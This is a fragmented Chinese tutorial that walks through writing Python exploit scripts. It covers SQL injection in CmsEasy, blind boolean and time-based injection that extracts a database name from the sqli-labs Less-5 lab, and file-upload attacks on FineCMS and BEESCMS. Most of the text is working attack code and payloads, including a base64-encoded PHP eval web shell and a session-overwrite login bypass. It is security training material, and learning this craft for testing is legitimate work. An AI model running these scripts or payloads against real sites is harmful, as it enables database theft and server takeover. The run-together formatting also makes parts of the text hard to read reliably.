http://server.com/cmseasy/celive/live/header.php
存在一处漏洞,这里使用HackBarPOST一下需要强调一点,在扫描的过程中,只需要证明漏洞存在就行。并且报告中不能出现管理员账号密码,只需要证明可以执行SQL语句即可
CmsEasy
的MD5值:xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#
# -*- coding:utf-8 -*-
import urllib
import urllib2
def check():
target = "http://server.com/cmseasy/celive/live/header.php"
# Payload
data = {
"xajax":"LiveMessage",
"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
}
req = urllib2.Request(target, data=urllib.urlencode(data))
response = urllib2.urlopen(req)
text = response.read()
print text
if __name__ == '__main__':
check()
CmsEasy
的MD5值,这里需要使用hashlib
库# print text
if hashlib.md5('CmsEasy').hexdigest() in text:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target
input
,实现批量调用def check(domain):
target = "%s/cmseasy/celive/live/header.php" % domain
# Payload
# ...
if __name__ == '__main__':
domain = raw_input("请输入域名: ")
check(domain)
sys
库 if __name__ == '__main__':
arg = sys.argv
domain = ''
if len(arg) == 2:
domain = arg[1]
check(domain)
else:
print u"使用说明: python %s IP/域名" % (arg[0])
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-1.py
"""
import urllib
import urllib2
import hashlib
import sys
def check(domain):
target = "%s/cmseasy/celive/live/header.php" % domain
# target = "http://server.com/cmseasy/celive/live/header.php"
# Payload
data = {
"xajax":"LiveMessage",
"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
}
req = urllib2.Request(target, data=urllib.urlencode(data))
response = urllib2.urlopen(req)
text = response.read()
# print text # 输出一下
if hashlib.md5('CmsEasy').hexdigest() in text:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target
if __name__ == '__main__':
arg = sys.argv
domain = ''
if len(arg) == 2:
domain = arg[1]
check(domain)
else:
print u"使用说明: python %s IP/域名" % (arg[0])
1
和-1
即可根据是否返回You are in
判断是否存在漏洞def POC(url):
payload = ['1', '-1']
r1 = requests.get(url + payload[0])
r2 = requests.get(url + payload[1])
if ("You are in" in r1.text) and ("You are in" not in r2.text):
print "True"
else:
print "False"
if __name__ == '__main__':
url = 'http://test.com/sql/Less-5/?id='
POC(url)
and
的两边均为True
时返回You are in
。此处可判断库名长度为8
?id=1' and (length(database())=1)--+
?id=1' and (length(database())=2)--+
......
?id=1' and (length(database())=8)--+ # 返回You are in
url = 'http://test.com/sql/Less-5/?id=1'
db_length = 0
for i in range(1, 20):
payload = "' and (length(database())=%d)--+" % i
# print(url+payload)
r = requests.get(url + payload)
if "You are in" in r.text:
db_length = i
print "Current_db_length: %d" % db_length
left(database(),1)
函数,从左往右返回库名的i
位,然后跟后面的字符进行比较
security
left(database(),1)
,返回s
left(database(),2)
,返回se
left(database(),8)
,返回security
...
test.com/sql/Less-5/?id=1' and left(database(),1)='s' --+
...
test.com/sql/Less-5/?id=1' and left(database(),2)='se' --+
...
test.com/sql/Less-5/?id=1' and left(database(),3)='sec' --+
...
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, db_length+1):
for c in char:
payload = "' and left(database(),%d)='%s' --+" % (i, db_name+c) #
r = requests.get(url + payload)
if "You are in" in r.text:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-2.py
"""
import requests
def POC(url):
payload = ['1', '-1']
r1 = requests.get(url + payload[0])
r2 = requests.get(url + payload[1])
if ("You are in" in r1.text) and ("You are in" not in r2.text):
print "True"
else:
print "False"
def EXP(url):
db_length = 0
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, 20):
payload = "' and (length(database())=%d)--+" % i
r = requests.get(url + payload)
if "You are in" in r.text:
db_length = i
print "Current_db_length: %d" % db_length
for i in range(1, db_length+1):
for c in char:
payload = "' and left(database(),%d)='%s' --+" % (i, db_name + c)
r = requests.get(url + payload)
if "You are in" in r.text:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
if __name__ == '__main__':
url = 'http://test.com/sql/Less-5/?id='
POC(url)
EXP(url+'1')
?id=1'and sleep(5) --+
time()
函数来确定响应时间# -*- coding:utf-8 -*-
import requests
import time
def POC(url):
payload = "1' and sleep(5) --+"
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >=5 :
print "True"
else:
print "False"
if __name__ == '__main__':
url = "http://test.com/sql/Less-5/?id=1"
POC(url)
db_length = 0
for i in range(1,20):
payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_length = i
print "Current_db_length: %d" % db_length
break
if()
和left()
函数,当满足条件时则延时2秒db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, db_length+1):
for c in char:
payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
t1 = time.time()
r = requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-3.py
"""
import requests
import time
def POC(url):
payload = "1' and sleep(5) --+"
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >=5 :
print "True"
else:
print "False"
def EXP(url):
db_length = 0
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1,20):
payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_length = i
print "Current_db_length: %d" % db_length
break
for i in range(1, db_length+1):
for c in char:
payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
t1 = time.time()
r = requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
if __name__ == '__main__':
url = "http://test.com/sql/Less-5/?id=1"
POC(url)
EXP(url)
v5.1
已修复此漏洞,通过翻查Commit
找到了FineCMS v5.0.5版的源码,成功复现
PHP未开启Mcrypt扩展
,原因是Mcrypt
库已在PHP7.1
中弃用,并在PHP7.2
中删除(参考PHP手册 - Mcrypt),使用低版本PHP即可。admin/admin
登陆,自动跳转到会员中心,点击上传头像,开启Burp抓包,任意选择一张图片并点击保存image/jpeg
修改为image/php
,点击提交。响应中含有status
关键字表示漏洞存在tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKIGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Cj8+
注册-登陆-上传一个php文件-验证是否上传成功
phpinfo()
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-1.py
"""
import random
import requests
def POC(url):
s = requests.session()
username = random.randint(0, 999999)
# 注册
register_url = url + "/index.php?s=member&c=register&m=index"
register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
"data[email]": "admin@admin.com"}
register_response = s.post(register_url, data=register_payload)
# 登陆
login_url = url + "/index.php?s=member&c=login&m=index"
login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
login_response = s.post(login_url, data=login_payload)
# 上传
upload_url = url + "/index.php?s=member&c=account&m=upload"
upload_payload = {"tx": "data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}
upload_response = s.post(upload_url, data=upload_payload).content
if "status" in upload_response:
return True
return False
if __name__ == '__main__':
url = "http://server.com/"
print POC(url)
index.php
,POST一下数据_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
admin/upload.php
,上传文件。并将Content-Type
修改为image/png
。这里上传一个phpinfo
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-2.py
"""
import requests
def POC(url):
login_payload = {
'_SESSION[login_in]': '1',
'_SESSION[admin]': '1',
'_SESSION[login_time]': '999999999999'
}
r = requests.post(url=url, data=login_payload)
cookie = r.cookies["PHPSESSID"]
attack_url = url.replace("index.php", "admin/upload.php")
payload = {
'up': (
'shell.php',
"<?php phpinfo(); ?> ",
'image/png',
),
}
attack_cookie = {'PHPSESSID': cookie}
upload_response = requests.post(attack_url, cookies=attack_cookie, files=payload)
if ".php" in upload_response.text:
return "True"
return "False"
if __name__ == '__main__':
url = "http://server.com/beescms/index.php"
print POC(url)